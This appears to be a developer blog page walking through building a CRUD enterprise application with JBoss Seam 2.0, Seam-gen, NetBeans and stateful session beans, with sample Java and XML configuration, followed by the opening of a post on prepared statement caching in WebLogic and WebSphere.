jboss-seam-2.0.0.GA/lib/drools-compiler.jar
jboss-seam-2.0.0.GA/lib/drools-core.jar
jboss-seam-2.0.0.GA/lib/groovy-all.jar
jboss-seam-2.0.0.GA/lib/gwt-servlet.jar
jboss-seam-2.0.0.GA/lib/hibernate-annotations.jar
jboss-seam-2.0.0.GA/lib/hibernate-commons-annotations.jar
jboss-seam-2.0.0.GA/lib/hibernate-search.jar
jboss-seam-2.0.0.GA/lib/hibernate-validator.jar
jboss-seam-2.0.0.GA/lib/itext.jar
jboss-seam-2.0.0.GA/lib/janino.jar
jboss-seam-2.0.0.GA/lib/javassist.jar
jboss-seam-2.0.0.GA/lib/jboss-el.jar
jboss-seam-2.0.0.GA/lib/jboss-seam-debug.jar
jboss-seam-2.0.0.GA/lib/jboss-seam-gen.jar
jboss-seam-2.0.0.GA/lib/jboss-seam-ioc.jar
jboss-seam-2.0.0.GA/lib/jboss-seam-mail.jar
jboss-seam-2.0.0.GA/lib/jboss-seam-pdf.jar
jboss-seam-2.0.0.GA/lib/jboss-seam-remoting.jar
jboss-seam-2.0.0.GA/lib/jboss-seam-ui.jar
jboss-seam-2.0.0.GA/lib/jboss-seam.jar
jboss-seam-2.0.0.GA/lib/jbpm-jpdl.jar
jboss-seam-2.0.0.GA/lib/jcaptcha-all.jar
jboss-seam-2.0.0.GA/lib/jcommon.jar
jboss-seam-2.0.0.GA/lib/jfreechart.jar
jboss-seam-2.0.0.GA/lib/jgroups.jar
jboss-seam-2.0.0.GA/lib/lucene-core.jar
jboss-seam-2.0.0.GA/lib/mvel14.jar
jboss-seam-2.0.0.GA/lib/quartz.jar
jboss-seam-2.0.0.GA/lib/richfaces-api.jar
jboss-seam-2.0.0.GA/lib/richfaces-impl.jar
jboss-seam-2.0.0.GA/lib/richfaces-ui.jar
jboss-seam-2.0.0.GA/lib/jsf-facelets.jar
jboss-seam-2.0.0.GA/lib/hibernate-entitymanager.jar
jboss-seam-2.0.0.GA/lib/hibernate.jar
jboss-seam-2.0.0.GA/lib/jboss-common-core.jar
jboss-seam-2.0.0.GA/examples/jpa/lib/mc/concurrent.jar

Entities Code Generation
There are two ways to generate entity classes. a) Netbeans b) Seam-Gen. Both of them have limitations. What it means is you will end up making few changes in the generated code any way you choose.
Netbeans generator:
Bonus : equals(Object obj),toString(), hashCode(), @NamedQueries
Limitations : Hibernate Validations, ID generation strategy
Seam-gen :
Bonus: Annotations for Hibernate Validations,ID Generating Strategy
Limitations : Faulty @Temporal specially for TIMESTAMP, NamedQueries, equals(Object obj),toString(), hashCode()

I choose Seam-gen generated code for entities
MYSQL BUG : When you are using decimal data type in mysql hibernate refuses to start. To fix this problem follow this link

Jsf Code Generation -- Views:

Seam-gen can generate jsf views for all the tables in the database. There is a nice seam plugin for Netbeans. I don't recommend to use it. It does not work with seam2.0. I have generated views and entities using the ant script provided in the seam package.

It generates most of the code needed for basic CRUD operations. Following artifacts are generated
1) Entity beans
2) Action Classes (Extends helper classes form seam more on this below)
3) Xhtml pages - Each entity has

Seam-gen can generate code with ejb option and with-out ejb options. If you choose to build a web applications select non-ejb options. You can open the generated project in Netbeans and run it as is.( TIP: In Netbeans use new web project from existing source)
The issues are with ejb version. One would expect the generated action classes are EJBS. BUT they are classes still live in web-application. So we have to migrate these actions piece by piece to state-full session beans.

5) Setup your project

Create a web application {generated} : This is a reference project. Use the project generated by seam-gen
Create an enterprise application{seamcrud}. Netbeans creates two subprojects {seamcrud}-ejb and {seamcrud}-war
- Add seam library to {SeamCrud-ejb} project.
- Create entities from database. This helps you setup the persistence related artifacts. (TIP : Netbeans verifies that you have chooses right app server and database etc..)
Remove all the entities from {SeamCrud-ejb} Copy entities from {generated} (TIP : Netbeans has lovely refactoring features)
Copy all configuration files and xhtml , xml file from
Deploy the {SeamCrud} application and ensure that you are able to execute the default index.jsp.

FUN STARTS

The {seamcrud} application contains entities and views. But it doesn't yet have seam-actions. Seam-gen generates action which are good enough for a web application. Here we shall write actions using state-full session beans.

Options One : Create new set of SFSB actions . You will have to write new views

Option Two : Modify generated actions. You will have to extend few of the seam classes. (TIP: Purists may want to avoid this. Remember that our prime objective is the manage CRUD operations. I feel the if CRUD can be auto-generated we can live with few limitations. and focus on business logic ,work flow and rules for the application. Using the above approach one can develop CRUD application in no time)

We have to write Four new artifacts for each entity.

1) {entity}List extends org.jboss.seam.framework.EntityQuery (TIP: Copy this class from {generated} )

2) {entity}Home extends org.jboss.seam.framework.EntityHome (TIP: Copy this class from {generated} )

3) {entity}ListLocal - Local interface for SFSB(TIP: There is no point in using remote interfaces. Seam is not yet certified to handle remote ejbs)

4) {entity}HomeLocal - Local interface for SFSB

5) Components.xml (2) one for SeamCrud-ejb and one for SeamCrud-war

Sample {entity}List class

1) @Name("currencyList")
2) @PersistenceUnit(name="JPayroll-ejbPU", unitName="JPayroll-ejbPU")
3) @Stateful
public class CurrencyList extends EntityQuery implements CurrencyListLocal{

private static final String[] RESTRICTIONS = {
"lower(currency.name) like concat(lower(#{currencyList.currency.name}),'%')",
"lower(currency.isoCode) like concat(lower(#{currencyList.currency.isoCode}),'%')",};

private Currency currency = new Currency();
4) @In EntityManager em;
@Override
public String getEjbql() {
return "select currency from Currency currency";
}

@Override
public Integer getMaxResults() {
return 25;
}
public Currency getCurrency() {
return currency;
}
@Override

public List

return Arrays.asList(RESTRICTIONS);

}

5) @Remove @Destroy

public void destroy(){}

public EntityManager getEntityManager() {

return em;

}

1) Every seam components should have a name. Here it is 'currencyList'. In web application seam registers this component automatically. Its tricky in ejb. EJBs are looked up via JNDI. So we have to tell seam what will be the jndi url for this SFSB. Add following line in the components.xml

<ejb-local-ref>

<ejb-ref-name>CurrencyList</ejb-ref-name>

<ejb-ref-type>Session</ejb-ref-type>
<local>com.blogspot.jkook.jpayroll.beans.CurrencyListLocal</local>
<ejb-link>JPayroll-ejb.jar#CurrencyList</ejb-link>
</ejb-local-ref>
<ejb-local-ref>
<ejb-ref-name>currencyList</ejb-ref-name>
<ejb-ref-type>Session</ejb-ref-type>
<local>com.blogspot.jkook.jpayroll.beans.CurrencyListLocal</local>
<ejb-link>JPayroll-ejb.jar#CurrencyList</ejb-link>
</ejb-local-ref>

(TIP: If the seam name and ejb name are different you will need two entries in web.xml)

Seam still cannot access your ejbs .. The trick is to add an empty seam.properties file to your ejb.jar. It has to be under “Configuration Files” in the {seamcrud-ejb} project. On server startup seam locates all the seam components and registers their names. However it does not know which jars to look for. Hence it requires seam.properties in the jar file where the seam components exists.

2) As mentioned above Seam expects all ejb resources be available via JNDI lookup. This line publishes the EntitiyManager as a JNDI resource. Seam will use this for managing the transactions. (TIP: Seam managed transactions cut through the seam conversations. Which is not possible with default transactions management provided by the JPA provider)

3) Indicates that this class is StateFull Session Bean

4) @In EntityManager em; We are going to use seam manged persistence and seam managed transactions. Injecting the EntityManager is now handled by Seam. It requires corresponding entry in components.xml in the ejb project.

<persistence:managed-persistence-context
name="em" auto-create="true"
persistence-unit-jndi-name="java:comp/env/JPayroll-ejbPU"/>
<transaction:ejb-transaction/>

The above lines tell seam how to locate its EntityManager.

(TIP: managed-persistence-context name in the xml and the variable name used for EntityManager should be same)

5) @Remove is needed by StateFull bean, @Destroy is needed for managing seam conversations

Sample {entity}Home. (TIP : @ PersistenceUnit is needed for each ejb. I have't yet figured how to make it a global declaration. If you are using Hibernate JPA the following line has to be added to the persistence.xml )

@Name("currencyHome")

@PersistenceUnit(name="JPayroll-ejbPU", unitName="JPayroll-ejbPU")

@Stateful

public class CurrencyHome extends EntityHome

@In EntityManager em;

public void setCurrencyId(Long id) {

setId(id);

}

public Long getCurrencyId() {

return (Long) getId();

}

@Override

protected Currency createInstance() {

Currency currency = new Currency();

return currency;

}

public void wire() {}

public boolean isWired() {return true;}

public Currency getDefinedInstance() {

return isIdDefined() ? getInstance() : null;

}

@Override

public EntityManager getEntityManager() {

return em;

}

@Remove @Destroy

public void destroy(){}

}

Sample {Entity}HomeLocal

public interface CurrencyHomeLocal {

public void setCurrencyId(Long id);

public Long getCurrencyId();

public void wire();

public boolean isWired();

public Currency getDefinedInstance();

public javax.persistence.EntityManager getEntityManager();

public void destroy();

public void create();

public Object getInstance();

public boolean isManaged();

public String update();

}

Sample {Entity}ListLocal

public interface CurrencyListLocal {

public java.lang.String getEjbql();

public java.lang.Integer getMaxResults();

public com.blogspot.jkook.jpayroll.entities.Currency getCurrency();

public void destroy();

public java.util.List

public String getOrder();

public void setOrder(String order);

public Long getResultCount();

public Object getSingleResult();

public boolean isNextExists() ;

public void refresh() ;us

public void first() ;

public Integer getFirstResult() ;

public Long getLastFirstResult() ;

public int getNextFirstResult();

public Integer getPageCount();

public int getPreviousFirstResult();

public void validate();

public List getResultList();

public boolean isPreviousExists();

public javax.persistence.EntityManager getEntityManager();

}

6) EjbSynchronizations : This is needed for implementing call backs on your transactions. Reference to this has to be provided to Seam. Seam.jar has few ejbs. One of them is EjbSynchronizations. Add refernece of this ejb in the web.xml.

<ejb-local-ref>
<ejb-ref-name>EjbSynchronizations</ejb-ref-name>
<ejb-ref-type>Session</ejb-ref-type>
<local>org.jboss.seam.transaction.LocalEjbSynchronizations</local>
<ejb-link>EjbSynchronizations</ejb-link>
</ejb-local-ref> Addtionally you have to declare the ejb in ejb-jar,xml

Finally a Secret : I stared the exercise with Toplink JPA provider. Ended using Hibernate JPA provider. Apparently Toplink does not support Manual Flush mode. Seam claims to be able to perform better transaction management especially that for seam conversations. The only JPA provider which gives this flexibility is Hibernate

End Result

I have an enterprise application running on glassfish with following features

Supports Create, Update , Delete, List operations on the {entity}
Provides Paging, Sorting , Search
Uses StateFull session beans
Leverages Seam Conversations
Most of the code is generated
JSF,Facelets,RichFaces(AJAX)

Conclusion

So far experience with seam has been good. With or with out Seam-Gen a developer can built applications quickly. Tools like Netbeans take the whole equation to another level. Following seemingly simple features are still desired from Jboss-SEAM.

Good documentation of how to handle nuances of the popular application servers.
Seam-Gen generate ejb classes and interfaces.

Why Prepared Statements are important and how to use them "properly"

2007-02-20T12:01:00.001+05:30

Prepared Statement Cache is available as a standard feature of app-server. This feature has to be used judiciously. It work faster only when the particular statements are executed multiple times in the same transaction.

Weblogic
Cache Prepared and Callable Statements
When you use a prepared statement or callable statement in an application , there is considerable processing overhead for the communication between the application server and the database server and on the database server itself. To minimize the processing costs, WebLogic Server can cache prepared and callable statements used in your applications. When an application calls any of the statements stored in the cache, WebLogic Server reuses the statement stored in the cache. Reusing prepared and callable statements reduces CPU usage on the database server, improving performance for the current statement and leaving CPU cycles for other tasks.
Using the statement cache can dramatically increase performance, but you must consider its limitations before you decide to use it.
Websphere
The WebSphere® Application Server data source optimizes processing of prepared statements. It manages a pool of database connections, as well as an associated cache of prepared statement objects. Prepared statements are cached separately for each connection that executes them.

Why Prepared Statements are important and how to use them "properly"